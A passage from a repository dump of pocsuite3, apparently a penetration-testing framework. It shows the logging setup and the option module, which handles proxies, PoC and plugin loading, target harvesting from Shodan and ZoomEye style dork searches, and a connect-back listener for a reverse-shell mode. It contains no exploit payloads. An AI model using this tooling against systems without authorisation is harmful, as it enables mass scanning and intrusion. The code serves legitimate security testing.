    "content": "import sys\nimport logging\nimport colorlog\nfrom pocsuite3.lib.core.enums import CUSTOM_LOGGING\n\nlogging.addLevelName(CUSTOM_LOGGING.SYSINFO, \"*\")\nlogging.addLevelName(CUSTOM_LOGGING.SUCCESS, \"+\")\nlogging.addLevelName(CUSTOM_LOGGING.ERROR, \"-\")\nlogging.addLevelName(CUSTOM_LOGGING.WARNING, \"!\")\n\nLOGGER = logging.getLogger(\"pocsuite\")\ntry:\n    # for python>=3.7\n    sys.stdout.reconfigure(encoding='utf-8')\nexcept AttributeError:\n    # http://www.macfreek.nl/memory/Encoding_of_Python_stdout\n    import codecs\n    sys.stdout = codecs.getwriter('utf-8')(sys.stdout.buffer, 'strict')\nLOGGER_HANDLER = logging.StreamHandler(sys.stdout)\nPRIMARY_FMT = (\n    \"%(cyan)s[%(asctime)s] %(log_color)s[%(levelname)s]%(reset)s %(message)s\"\n)\nCUSTOM_FMT = \"%(log_color)s[%(asctime)s] [%(levelname)s] %(message)s\"\n\nFORMATTER = colorlog.LevelFormatter(\n    fmt={\n        \"DEBUG\": PRIMARY_FMT,\n        \"INFO\": PRIMARY_FMT,\n        \"WARNING\": PRIMARY_FMT,\n        \"ERROR\": PRIMARY_FMT,\n        \"CRITICAL\": PRIMARY_FMT,\n        \"*\": CUSTOM_FMT,\n        \"+\": CUSTOM_FMT,\n        \"-\": CUSTOM_FMT,\n        \"!\": CUSTOM_FMT\n    },\n    datefmt=\"%H:%M:%S\",\n    log_colors={\n        '*': 'cyan',\n        '+': 'green',\n        '-': 'red',\n        '!': 'yellow',\n        'DEBUG': 'blue',\n        'INFO': 'green',\n        'WARNING': 'yellow',\n        'ERROR': 'red',\n        'CRITICAL': 'bg_red,white'\n    },\n    secondary_log_colors={},\n    style='%'\n)\n\nLOGGER_HANDLER.setFormatter(FORMATTER)\nLOGGER.addHandler(LOGGER_HANDLER)\nLOGGER.setLevel(logging.INFO)\n"
  },
  {
    "path": "pocsuite3/lib/core/option.py",
    "content": "import copy\nimport glob\nimport logging\nimport os\nimport re\nimport socket\nimport importlib\nfrom queue import Queue\nfrom urllib.parse import urlsplit\nfrom http.client import HTTPConnection\n\nimport docker.errors\nimport requests\nfrom requests_toolbelt.adapters.socket_options import TCPKeepAliveAdapter\nimport socks\nimport prettytable\nfrom termcolor import colored\nfrom pocsuite3.lib.core.clear import remove_extra_log_message\nfrom pocsuite3.lib.core.common import boldify_message, check_file, get_file_items, parse_target, \\\n    get_public_type_members, data_to_stdout\nfrom pocsuite3.lib.core.common import check_path, extract_cookies\nfrom pocsuite3.lib.core.common import get_local_ip, mosaic, get_host_ip\nfrom pocsuite3.lib.core.common import single_time_warn_message\nfrom pocsuite3.lib.core.common import OrderedSet, get_file_text, get_poc_name\nfrom pocsuite3.lib.core.common import index_modules, ltrim\nfrom pocsuite3.lib.core.common import parse_poc_docker_name\nfrom pocsuite3.lib.core.convert import stdout_encode\nfrom pocsuite3.lib.core.data import conf, cmd_line_options\nfrom pocsuite3.lib.core.data import kb\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.data import merged_options\nfrom pocsuite3.lib.core.data import paths\nfrom pocsuite3.lib.core.datatype import AttribDict\nfrom pocsuite3.lib.core.enums import HTTP_HEADER, CUSTOM_LOGGING, PROXY_TYPE\nfrom pocsuite3.lib.core.exception import PocsuiteSyntaxException, PocsuiteSystemException, PocsuiteHeaderTypeException\nfrom pocsuite3.lib.core.log import FORMATTER\nfrom pocsuite3.lib.core.register import load_file_to_module\nfrom pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT, CMD_PARSE_WHITELIST\nfrom pocsuite3.lib.core.docker_env import DockerEnv\nfrom pocsuite3.lib.core.statistics_comparison import StatisticsComparison\nfrom pocsuite3.lib.core.update import update\nfrom pocsuite3.lib.core.template import create_poc_plugin_template\nfrom pocsuite3.lib.parse.cmd import DIY_OPTIONS\nfrom pocsuite3.lib.parse.configfile import config_file_parser\nfrom pocsuite3.lib.parse.rules import regex_rule\nfrom pocsuite3.lib.parse.dockerfile import parse_dockerfile\nfrom pocsuite3.lib.request.patch import patch_all\nfrom pocsuite3.lib.request.patch.session_reuse import api_request\nfrom pocsuite3.modules.listener import start_listener\n\n\ndef _resolve_cross_references():\n    import pocsuite3\n    pocsuite3.lib.core.revision.stdout_encode = stdout_encode\n    pocsuite3.lib.core.convert.single_time_warn_message = single_time_warn_message\n\n\ndef set_verbosity():\n    \"\"\"\n    This function set the verbosity of pocsuite output messages.\n    \"\"\"\n\n    HTTPConnection.debuglevel = int(conf.http_debug)\n\n    if conf.verbose is None:\n        conf.verbose = 1\n\n    conf.verbose = int(conf.verbose)\n\n    if conf.verbose == 0:\n        logger.setLevel(logging.ERROR)\n    elif conf.verbose == 1:\n        logger.setLevel(logging.INFO)\n    elif conf.verbose == 2:\n        logger.setLevel(logging.DEBUG)\n    elif conf.verbose == 3:\n        logger.setLevel(logging.DEBUG)\n        logger.setLevel(CUSTOM_LOGGING.SYSINFO)\n    elif conf.verbose == 4:\n        logger.setLevel(logging.DEBUG)\n        logger.setLevel(CUSTOM_LOGGING.WARNING)\n    elif conf.verbose >= 5:\n        logger.setLevel(logging.DEBUG)\n        logger.setLevel(CUSTOM_LOGGING.ERROR)\n\n\ndef _set_http_user_agent():\n    '''\n    set user-agent\n    :return:\n    '''\n    if conf.agent:\n        conf.http_headers[HTTP_HEADER.USER_AGENT] = conf.agent\n\n\ndef _set_http_referer():\n    if conf.referer:\n        conf.http_headers[HTTP_HEADER.REFERER] = conf.referer\n\n\ndef _set_http_cookie():\n    if conf.cookie:\n        if isinstance(conf.cookie, dict):\n            conf.http_headers[HTTP_HEADER.COOKIE] = '; '.join(map(lambda x: '='.join(x), conf.cookie.items()))\n        else:\n            conf.http_headers[HTTP_HEADER.COOKIE] = conf.cookie\n\n\ndef _set_http_host():\n    if conf.host:\n        conf.http_headers[HTTP_HEADER.HOST] = conf.host\n\n\ndef _set_http_extra_headers():\n    if conf.headers:\n        conf.headers = conf.headers.split(\"\\n\") if \"\\n\" in conf.headers else conf.headers.split(\"\\\\n\")\n        for header_value in conf.headers:\n            if not header_value.strip():\n                continue\n\n            if header_value.count(':') >= 1:\n                header, value = (_.lstrip() for _ in header_value.split(\":\", 1))\n                if header and value:\n                    if header not in conf.http_headers:\n                        conf.http_headers[header] = value\n\n\ndef _set_network_timeout():\n    if conf.timeout:\n        conf.timeout = float(conf.timeout)\n        if conf.timeout < 3.0:\n            warn_msg = \"the minimum HTTP timeout is 3 seconds, pocsuite \"\n            warn_msg += \"will going to reset it\"\n            logger.warn(warn_msg)\n\n            conf.timeout = 3.0\n    else:\n        conf.timeout = 10\n\n    socket.setdefaulttimeout(conf.timeout)\n\n\ndef _set_network_proxy():\n    if conf.proxy:\n        debug_msg = \"setting the HTTP/SOCKS proxy for all network requests\"\n        logger.debug(debug_msg)\n\n        try:\n            _ = urlsplit(conf.proxy)\n        except Exception as ex:\n            err_msg = \"invalid proxy address '{0}' ('{1}')\".format(conf.proxy, str(ex))\n            raise PocsuiteSyntaxException(err_msg)\n\n        hostname_port = _.netloc.split(\":\")\n        scheme = _.scheme.upper()\n        hostname = hostname_port[0]\n        port = None\n        username = None\n        password = None\n\n        if len(hostname_port) == 2:\n            try:\n                port = int(hostname_port[1])\n            except Exception:\n                pass\n\n        if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)):\n            err_msg = \"proxy value must be in format '({0})://address:port'\".format(\"|\".join(\n                _[0].lower() for _ in get_public_type_members(PROXY_TYPE)))\n            raise PocsuiteSyntaxException(err_msg)\n\n        if conf.proxy_cred:\n            _ = re.search(r\"\\A(.*?):(.*?)\\Z\", conf.proxy_cred)\n            if not _:\n                err_msg = \"proxy authentication credentials \"\n                err_msg += \"value must be in format username:password\"\n                raise PocsuiteSyntaxException(err_msg)\n            else:\n                username = _.group(1)\n                password = _.group(2)\n\n        if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5, PROXY_TYPE.SOCKS5H):\n            socks.set_default_proxy(\n                socks.PROXY_TYPE_SOCKS4 if scheme == PROXY_TYPE.SOCKS4 else socks.PROXY_TYPE_SOCKS5,\n                hostname,\n                port,\n                username=username,\n                password=password,\n                rdns=True if scheme == PROXY_TYPE.SOCKS5H else False,\n            )\n            conf.origin_socks = copy.deepcopy(socket.socket)  # Convenient behind recovery\n            socket.socket = socks.socksocket\n\n        if conf.proxy_cred:\n            proxy_string = \"{0}@\".format(conf.proxy_cred)\n        else:\n            proxy_string = \"\"\n\n        proxy_string = \"{scheme}://{proxy_string}{hostname}:{port}\".format(scheme=scheme.lower(),\n                                                                           proxy_string=proxy_string,\n                                                                           hostname=hostname, port=port)\n        conf.proxies = {\n            \"http\": proxy_string,\n            \"https\": proxy_string\n        }\n\n\ndef _set_session_queue():\n    requests.api.request = api_request\n    for _ in range(0, conf.requests_session_reuse_num):\n        session = requests.Session()\n        session.headers.update({'Connection': 'keep-alive'})\n        # https://github.com/psf/requests/issues/6354\n        keep_alive = TCPKeepAliveAdapter()\n        session.mount(\"http://\", keep_alive)\n        session.mount(\"https://\", keep_alive)\n        kb.session_queue.put(session)\n\n\ndef _set_multiple_targets():\n    # set multi targets to kb\n    if conf.url:\n        for url in conf.url:\n            for target in parse_target(url, conf.ports, conf.skip_target_port):\n                kb.targets.add(target)\n\n    if conf.url_file:\n        for line in get_file_items(conf.url_file, lowercase=False, unique=True):\n            for target in parse_target(line, conf.ports, conf.skip_target_port):\n                kb.targets.add(target)\n\n    if conf.dork:\n        # enable plugin 'target_from_zoomeye' by default\n        if ('target_from_shodan' not in conf.plugins and\n                'target_from_censys' not in conf.plugins and\n                'target_from_fofa' not in conf.plugins and\n                'target_from_quake' not in conf.plugins and\n                'target_from_hunter' not in conf.plugins):\n            conf.plugins.append('target_from_zoomeye')\n\n    if conf.dork_zoomeye:\n        conf.plugins.append('target_from_zoomeye')\n\n    if conf.dork_shodan:\n        conf.plugins.append('target_from_shodan')\n\n    if conf.dork_censys:\n        conf.plugins.append('target_from_censys')\n\n    if conf.dork_fofa:\n        conf.plugins.append('target_from_fofa')\n\n    if conf.dork_quake:\n        conf.plugins.append('target_from_quake')\n\n    if conf.dork_hunter:\n        conf.plugins.append('target_from_hunter')\n\n\ndef _set_task_queue():\n    if kb.registered_pocs and kb.targets:\n        for poc_module in kb.registered_pocs:\n            for target in kb.targets:\n                kb.task_queue.put((target, poc_module))\n\n\ndef _check_account_login():\n    # TODO\n    # check telnet404 account login\n    pass\n\n\ndef _check_ceye():\n    # TODO\n    # check ceye and ceye api token is available\n    pass\n\n\ndef _check_seebug():\n    # TODO\n    # check seebug and seebug api token is available\n    pass\n\n\ndef _check_zoomeye():\n    # TODO\n    # check zoomeye and zoomeye api token is available\n    pass\n\n\ndef _set_threads():\n    if not isinstance(conf.threads, int) or conf.threads <= 0:\n        conf.threads = 150\n\n\ndef _set_connect_back():\n    if conf.mode == \"shell\" and conf.connect_back_host is None:\n        wan_ipv4 = get_host_ip()\n        kb.data.local_ips = get_local_ip(all=True)\n        data_to_stdout(\"[i] pocsusite is running in shell mode, you need to set connect back host:\\n\")\n        message = '----- Local IP Address -----\\n'\n        for i, ip in enumerate(kb.data.local_ips):\n            v = mosaic(ip)\n            if ip == wan_ipv4:\n                v = colored(f'{v}    *wan*', 'green')\n            message += \"{0}    {1}\\n\".format(i, v)\n        data_to_stdout(message)\n        while True:\n            choose = None\n            choose = input('Choose>: ').strip()\n            if not choose:\n                continue\n            try:\n                if choose.isdigit():\n                    choose = int(choose)\n                    conf.connect_back_host = kb.data.local_ips[choose]\n                    data_to_stdout(\"you choose {0}\\n\".format(mosaic(conf.connect_back_host)))\n                    break\n            except Exception:\n                data_to_stdout(\"wrong number, choose again\\n\")\n\n\ndef _set_listener():\n    if conf.mode == \"shell\" and not conf.api:\n        start_listener()\n\n\ndef _set_user_pocs_path():\n    if conf.pocs_path:\n        if check_path(conf.pocs_path):\n            paths.USER_POCS_PATH = conf.pocs_path\n            for root, dirs, files in os.walk(paths.USER_POCS_PATH):\n                files = list(filter(lambda x: not x.startswith(\"__\") and x.endswith(\".py\"), files))\n                conf.poc = [os.path.join(paths.USER_POCS_PATH, f) for f in files]\n        else:\n            warm_msg = \"User defined pocs path {0} is invalid\".format(conf.pocs_path)\n            logger.warn(warm_msg)\n\n\ndef _set_pocs_modules():\n    # TODO\n    # load poc scripts .pyc file support\n    if conf.ssvid:\n        conf.plugins.append('poc_from_seebug')\n\n    if not (conf.poc or conf.vul_keyword) and conf.poc_keyword:\n        conf.poc = [paths.POCSUITE_POCS_PATH]\n\n    if conf.poc:\n        exists_poc_with_ext = list(\n            filter(lambda x: x not in ['__init__.py', '__init__.pyc'], os.listdir(paths.POCSUITE_POCS_PATH)))\n        exists_pocs = dict([os.path.splitext(x) for x in exists_poc_with_ext])\n        for poc in conf.poc:\n            # load poc from pocsuite3/pocs folder or other local path\n            try:\n                _pocs = []\n                load_poc_sucess = False\n\n                if os.path.isfile(poc):\n                    _pocs.append(poc)\n\n                elif any([poc in exists_poc_with_ext, poc in exists_pocs]):\n                    poc_name, poc_ext = os.path.splitext(poc)\n                    if poc_ext in ['.py', '.pyc', '.yaml']:\n                        file_path = os.path.join(paths.POCSUITE_POCS_PATH, poc)\n                    else:\n                        file_path = os.path.join(paths.POCSUITE_POCS_PATH, poc + exists_pocs.get(poc))\n                    _pocs.append(file_path)\n\n                elif check_path(poc):\n                    for root, _, files in os.walk(poc):\n                        files = filter(lambda x: not x.startswith(\"__\") and x.endswith(\".py\") or\n                                       x.endswith('.yaml'), files)\n                        _pocs.extend(map(lambda x: os.path.join(root, x), files))\n\n                for p in _pocs:\n                    file_content = get_file_text(p)\n                    if not re.search(r'register_poc|matchers:\\s+-', file_content):\n                        continue\n                    if conf.poc_keyword:\n                        if not re.search(conf.poc_keyword, file_content, re.I | re.M):\n                            continue\n                    info_msg = \"loading PoC script '{0}'\".format(p)\n                    logger.info(info_msg)\n                    load_poc_sucess = load_file_to_module(p) or load_poc_sucess\n            except PocsuiteSystemException:\n                logger.error('PoC file \"{0}\" not found'.format(repr(poc)))\n                continue\n\n            # load poc from seebug website using plugin 'poc_from_seebug'\n            if not load_poc_sucess and poc.startswith('ssvid-'):\n                info_msg = \"loading Poc script 'https://www.seebug.org/vuldb/{0}'\".format(poc)\n                logger.info(info_msg)\n                if \"poc_from_seebug\" not in conf.plugins:\n                    conf.plugins.append('poc_from_seebug')\n\n    if conf.vul_keyword:\n        # step4. load poc with vul_keyword search seebug website\n        info_msg = \"loading PoC script from seebug website using search keyword '{0}' \".format(conf.vul_keyword)\n        logger.info(info_msg)\n\n        conf.plugins.append('poc_from_seebug')\n\n\ndef _set_plugins():\n    # TODO\n    # load plugin scripts .pyc file support\n    if conf.plugins:\n        founds = []\n        cache_plugins = copy.deepcopy(conf.plugins)\n\n        for found in glob.glob(os.path.join(paths.POCSUITE_PLUGINS_PATH, \"*.py*\")):\n            dirname, filename = os.path.split(found)\n            plugin_name = os.path.splitext(filename)[0]\n            if found.endswith(('__init__.py', '__init__.pyc')):\n                continue\n            if plugin_name not in conf.plugins:\n                continue\n            cache_plugins.remove(plugin_name)\n            founds.append(found)\n        if len(cache_plugins) > 0:\n            for file in cache_plugins:\n                if os.path.exists(file):\n                    founds.append(file)\n\n        for file in founds:\n            debug_msg = \"loading plugin script '{0}'\".format(file)\n            logger.debug(debug_msg)\n            load_file_to_module(file)\n\n\ndef _cleanup_options():\n    \"\"\"\n    Cleanup configuration attributes.\n    \"\"\"\n    if conf.agent:\n        conf.agent = re.sub(r\"[\\r\\n]\", \"\", conf.agent)\n\n    if conf.cookie:\n        if isinstance(conf.cookie, str):\n            conf.cookie = re.sub(r\"[\\r\\n]\", \"\", conf.cookie)\n            conf.cookie = extract_cookies(conf.cookie)\n        elif not isinstance(conf.cookie, dict):\n            raise PocsuiteHeaderTypeException('Does not support type for cookie')\n    if conf.delay:\n        conf.delay = float(conf.delay)\n\n    if conf.retry:\n        conf.retry = min(conf.retry, 10)\n\n    if conf.url:\n        if isinstance(conf.url, str):\n            conf.url = [conf.url]\n        conf.url = [x.strip() for x in conf.url]\n\n    if conf.ports:\n        if isinstance(conf.ports, str):\n            ports = OrderedSet()\n            for probe in conf.ports.split(','):\n                # [proto:]port\n                probe = probe.replace(' ', '')\n                if len(probe.split(':')) > 2:\n                    continue\n                port = probe.split(':')[-1]\n                if port.isdigit() and int(port) >= 0 and int(port) <= 65535:\n                    ports.add(probe)\n            conf.ports = list(ports)\n\n    if conf.poc:\n        if isinstance(conf.poc, str):\n            conf.poc = [conf.poc]\n        conf.poc = [poc.lower() if poc.lower().startswith('ssvid-') else poc for poc in conf.poc]\n\n    if conf.url_file:\n        conf.url_file = os.path.expanduser(conf.url_file)\n        check_file(conf.url_file)\n\n    if conf.plugins:\n        conf.plugins = conf.plugins.split(',')\n        conf.plugins = [i.strip() for i in conf.plugins]\n        conf.plugins = list(set(conf.plugins))\n\n    if conf.output_path and 'file_record' not in conf.plugins:\n        conf.plugins.append('file_record')\n    if 'web_hook' not in conf.plugins:\n        conf.plugins.append('web_hook')\n\n    if conf.connect_back_port:\n        conf.connect_back_port = int(conf.connect_back_port)\n\n    conf.origin_socks = None\n\n\ndef _basic_option_validation():\n    _check_account_login()\n    _check_seebug()\n    _check_zoomeye()\n    _check_ceye()\n\n\ndef _adjust_logging_formatter():\n    \"\"\"\n    Solves problem of line deletition caused by overlapping logging messages\n    and retrieved data info in inference mode\n    \"\"\"\n    if hasattr(FORMATTER, '_format'):\n        return\n\n    def new_format(record):\n        message = FORMATTER._format(record)\n        message = boldify_message(message)\n        return message\n\n    FORMATTER._format = FORMATTER.format\n    FORMATTER.format = new_format\n\n\ndef _create_directory():\n    if not os.path.isdir(paths.POCSUITE_OUTPUT_PATH):\n        try:\n            os.makedirs(paths.POCSUITE_OUTPUT_PATH)\n        except FileExistsError:\n            pass\n\n    if not os.path.isdir(paths.POCSUITE_TMP_PATH):\n        try:\n            os.makedirs(paths.POCSUITE_TMP_PATH)\n        except FileExistsError:\n            pass\n\n    if not os.path.isfile(paths.POCSUITE_RC_PATH):\n        open(paths.POCSUITE_RC_PATH, 'a').close()\n\n\ndef _set_conf_attributes():\n    \"\"\"\n    This function set some needed attributes into the configuration\n    singleton.\n    \"\"\"\n\n    debug_msg = \"initializing the configuration\"\n    logger.debug(debug_msg)\n\n    conf.url = None\n    conf.url_file = None\n    conf.ports = []\n    conf.skip_target_port = False\n    conf.mode = 'verify'\n    conf.poc = None\n    conf.poc_keyword = None\n    conf.poc_list = None\n    conf.cookie = None\n    conf.host = None\n    conf.referer = None\n    conf.agent = None\n    conf.headers = None\n    conf.proxy = None\n    conf.proxy_cred = None\n    conf.proxies = {}\n    conf.timeout = 10\n    conf.retry = 0\n    conf.delay = 0\n    conf.http_headers = {}\n    conf.http_debug = 0\n    conf.ceye_token = None\n    conf.oob_server = None\n    conf.oob_token = None\n    conf.seebug_token = None\n    conf.zoomeye_token = None\n    conf.shodan_token = None\n    conf.fofa_user = None\n    conf.fofa_token = None\n    conf.quake_token = None\n    conf.hunter_token = None\n    conf.censys_uid = None\n    conf.censys_secret = None\n    conf.dork = None\n    conf.dork_zoomeye = None\n    conf.dork_shodan = None\n    conf.dork_fofa = None\n    conf.dork_quake = None\n    conf.dork_hunter = None\n    conf.dork_censys = None\n    conf.dork_b64 = False\n    conf.max_page = 1\n    conf.page_size = 20\n    conf.search_type = 'v4'\n    conf.comparison = False\n    conf.vul_keyword = None\n    conf.ssvid = None\n    conf.plugins = []\n    conf.threads = 150\n    conf.batch = False\n    conf.check_requires = False\n    conf.quiet = False\n    conf.update_all = False\n    conf.new = False\n    conf.verbose = 1\n\n    conf.ipv6 = False\n    conf.multiple_targets = False\n    conf.pocs_path = None\n    conf.output_path = None\n    conf.plugin_name = None\n    conf.plugin_code = None\n    conf.connect_back_host = None\n    conf.connect_back_port = DEFAULT_LISTENER_PORT\n    conf.console_mode = False\n    conf.show_version = False\n    conf.api = False  # api for zipoc\n    conf.ppt = False\n    conf.pcap = False\n    conf.rule = False\n    conf.rule_req = False\n    conf.rule_filename = None\n    conf.no_check = False\n    conf.show_options = False\n    conf.enable_tls_listener = False\n\n    # docker args\n    conf.docker_start = False\n    conf.docker_port = list()\n    conf.docker_env = list()\n    conf.docker_volume = list()\n    conf.docker_only = False\n    conf.requests_session_reuse = False\n\n    # web hook\n    conf.dingtalk_token = \"\"\n    conf.dingtalk_secret = \"\"\n    conf.wx_work_key = \"\"\n\n\ndef _set_kb_attributes(flush_all=True):\n    \"\"\"\n    This function set some needed attributes into the knowledge base\n    singleton.\n    \"\"\"\n\n    debug_msg = \"initializing the knowledge base\"\n    logger.debug(debug_msg)\n\n    kb.abs_file_paths = set()\n    kb.os = None\n    kb.os_version = None\n    kb.arch = None\n    kb.dbms = None\n    kb.auth_header = None\n    kb.counters = {}\n    kb.multi_thread_mode = False\n    kb.thread_continue = True\n    kb.thread_exception = False\n    kb.word_lists = None\n    kb.single_log_flags = set()\n\n    kb.cache = AttribDict()\n    kb.cache.addrinfo = {}\n    kb.cache.content = {}\n    kb.cache.regex = {}\n\n    kb.data = AttribDict()\n    kb.data.local_ips = []\n    kb.data.connect_back_ip = None\n    kb.data.connect_back_port = DEFAULT_LISTENER_PORT\n    kb.data.clients = []\n    kb.targets = OrderedSet()\n    kb.plugins = AttribDict()\n    kb.plugins.targets = AttribDict()\n    kb.plugins.pocs = AttribDict()\n    kb.plugins.results = AttribDict()\n    kb.results = []\n    kb.current_poc = None\n    kb.registered_pocs = AttribDict()\n    kb.task_queue = Queue()\n    kb.session_queue = Queue()\n    kb.cmd_line = DIY_OPTIONS or []\n\n    kb.comparison = None\n\n\ndef _merge_options(input_options, override_options):\n    \"\"\"\n    Merge command line options with configuration file and default options.\n    \"\"\"\n    if hasattr(input_options, \"items\"):\n        input_options_items = input_options.items()\n    else:\n        input_options_items = input_options.__dict__.items()\n\n    for key, value in input_options_items:\n        if key not in conf or value not in (None, False) or override_options:\n            conf[key] = value\n\n    if input_options.get(\"configFile\"):\n        config_file_parser(input_options[\"configFile\"])\n\n    merged_options.update(conf)\n\n\ndef _set_poc_options(input_options):\n    for line in input_options.keys():\n        if line not in CMD_PARSE_WHITELIST:\n            DIY_OPTIONS.append(line)\n\n\ndef _set_docker_options():\n    port_dict = {}\n    if conf.poc and conf.docker_start:\n        # parse port string\n        # in docker package ports need {\"2222/tcp\": 3333}\n        # will expose port 2222 inside the container as port 3333 on the host.\n        if len(conf.docker_port) > 0:\n            for item in conf.docker_port:\n                item_split = item.rsplit(':', 1)\n                key = '{}/tcp'.format(item_split[1])\n                # if user input 127.0.0.1:8080:8080\n                # need change to {'8080/tcp': ('127.0.0.1', 8080)}\n                if item_split[0].find(\":\") > 0:\n                    temp_port = item_split[0].split(':')\n                    host_port = (temp_port[0], int(temp_port[1]))\n                else:\n                    host_port = int(item_split[0])\n                port_dict[key] = host_port\n\n        for poc in conf.poc:\n            res = parse_dockerfile(poc)\n            poc_name = parse_poc_docker_name(res.get('name'))\n            tag_name = \"{}:{}\".format(poc_name, \"pocsuite\")\n            docker_file = res.get(\"dockerfile\")\n            try:\n                dk = DockerEnv()\n                dk_info = dk.run(\n                    tag_name,\n                    docker_file,\n                    ports=port_dict,\n                    envs=conf.docker_env,\n                    volumes=conf.docker_volume,\n                )\n                logger.info(\"Run container {} successful!\".format(dk_info.short_id))\n            except docker.errors.APIError as e:\n                logger.error(e)\n        if conf.docker_only:\n            exit(0)\n\n\ndef init_options(input_options=AttribDict(), override_options=False):\n    cmd_line_options.update(input_options)\n    _set_conf_attributes()\n    _set_poc_options(input_options)\n    _set_kb_attributes()\n    _merge_options(input_options, override_options)\n    # export rules, dont run the poc in the default status\n    if conf.rule or conf.rule_req:\n        logger.info(\"The rule export function is in use. The POC is not executed at this point\")\n        if conf.pocs_path:\n            if check_path(conf.pocs_path):\n                paths.USER_POCS_PATH = conf.pocs_path\n                for root, dirs, files in os.walk(paths.USER_POCS_PATH):\n                    files = list(filter(lambda x: not x.startswith(\"__\") and x.endswith(\".py\"), files))\n                regex_rule(list(paths.USER_POCS_PATH + i for i in files))\n\n        if conf.poc:\n            regex_rule(conf.poc)\n        exit()\n    # if check version\n    if conf.show_version:\n        exit()\n\n\ndef _init_targets_plugins():\n    for _, plugin in kb.plugins.targets.items():\n        plugin.init()\n\n\ndef _init_pocs_plugins():\n    for _, plugin in kb.plugins.pocs.items():\n        plugin.init()\n\n\ndef _init_results_plugins():\n    for _, plugin in kb.plugins.results.items():\n        plugin.init()\n\n\ndef _init_kb_comparison():\n    if conf.comparison:\n        kb.comparison = StatisticsComparison()\n\n\ndef _init_target_from_poc_dork():\n    if len(kb.targets) > 0:\n        return\n\n    for poc_module, poc_class in kb.registered_pocs.items():\n        if not hasattr(poc_class, 'dork'):\n            continue\n\n        # local mode, do not need any targets. e.g. LPE\n        if 'local' in poc_class.dork.keys():\n            kb.targets.add('localhost')\n            return\n\n        # find a available target source\n        target_source = ''\n        for i in [\"zoomeye\", \"fofa\", \"shodan\", \"quake\", \"hunter\", \"censys\"]:\n            if i in poc_class.dork.keys() and poc_class.dork[i].strip() != '':\n                target_source = i\n                break\n        # fetch target from target source, add it to kb.targets\n        if not target_source:\n            continue\n        conf.dork = poc_class.dork[target_source]\n        plugin_name = f'target_from_{target_source}'\n        importlib.import_module(f'pocsuite3.plugins.{plugin_name}')\n        for _, plugin in kb.plugins.targets.items():\n            if target_source in plugin.__class__.__name__.lower():\n                plugin.init()\n\n\ndef _show_pocs_modules_options():\n    if not conf.show_options:\n        return\n    for module_name, poc_class in kb.registered_pocs.items():\n        module_options = poc_class.options\n        tb = prettytable.PrettyTable(\n            ['Name', 'Current settings', 'Type', 'Description'])\n        # add target option\n        for name, opt in module_options.items():\n            value = opt.value\n            if opt.require and value == '':\n                value = colored('*require*', 'red')\n            tb.add_row([name, value, opt.type, opt.description])\n        data_to_stdout(f'\\nModule ({module_name}) options:\\n')\n        data_to_stdout(tb.get_string())\n        data_to_stdout('\\n')\n    exit()\n\n\ndef _show_pocs_form_local():\n    if not conf.poc_list:\n        return\n    _pocs = []\n    tb = prettytable.PrettyTable([\"Index\", \"Path\", \"Name\"])\n    if conf.pocs_path:\n        # parse user defined poc scripts path\n        if check_path(conf.pocs_path):\n            for root, dirs, files in os.walk(conf.pocs_path):\n                files = list(filter(lambda x: not x.startswith(\"__\") and x.endswith(\".py\") or x.endswith(\".yaml\"), files))\n                conf.poc = [os.path.join(conf.pocs_path, f) for f in files]\n        moduels = index_modules(conf.pocs_path)\n        poc_parent_directory = os.sep.join(\n            conf.pocs_path.rstrip(os.sep).split(os.sep)) + os.sep\n        for poc in moduels:\n            _pocs.append(ltrim(poc, conf.pocs_path).lstrip(os.sep))\n\n    else:\n        # default poc path\n        conf.poc = [paths.POCSUITE_POCS_PATH]\n        moduels = index_modules(paths.POCSUITE_POCS_PATH)\n        poc_parent_directory = os.sep.join(\n            paths.POCSUITE_POCS_PATH.rstrip(os.sep).split(os.sep)[0:-1]) + os.sep\n        for poc in moduels:\n            _pocs.append(ltrim(poc, poc_parent_directory).lstrip(os.sep))\n    # show result table\n    try:\n        index = 0\n        for poc in _pocs:\n            file = os.path.join(poc_parent_directory, poc + \".py\")\n            if not os.path.exists(file):\n                file = os.path.join(poc_parent_directory, poc + \".yaml\")\n            code = get_file_text(file)\n            name = get_poc_name(code)\n            tb.add_row([str(index), poc, name])\n            index += 1\n        data_to_stdout(\"\\n\" + tb.get_string() + \"\\n\")\n    except PocsuiteSystemException as ex:\n        logger.error(str(ex))\n    finally:\n        exit(0)\n\n\ndef init():\n    \"\"\"\n    Set attributes into both configuration and knowledge base singletons\n    based upon command line and configuration file options.\n    \"\"\"\n    set_verbosity()\n    patch_all()\n    _adjust_logging_formatter()\n    _cleanup_options()\n    _basic_option_validation()\n    _create_directory()\n    _init_kb_comparison()\n    create_poc_plugin_template()\n    update()\n    _set_multiple_targets()\n    _set_user_pocs_path()\n    # show poc form pac path\n    _show_pocs_form_local()\n    # The poc module module must be in front of the plug-in module,\n    # and some parameters in the poc option call the plug-in\n    _set_pocs_modules()\n    # run docker from poc\n    _set_docker_options()\n    _set_plugins()\n    _init_targets_plugins()\n    _init_pocs_plugins()\n    _show_pocs_modules_options()\n    _init_target_from_poc_dork()\n    _set_task_queue()\n    _init_results_plugins()\n\n    if any((conf.url, conf.url_file, conf.plugins)):\n        _set_http_cookie()\n        _set_http_host()\n        _set_http_referer()\n        _set_http_user_agent()\n        _set_http_extra_headers()\n\n    _set_connect_back()\n    _set_network_proxy()\n    _set_network_timeout()\n    _set_threads()\n    _set_listener()\n    remove_extra_log_message()\n    if conf.requests_session_reuse:\n        _set_session_queue()\n"
  },
  {
    "path": "pocsuite3/lib/core/optiondict.py",
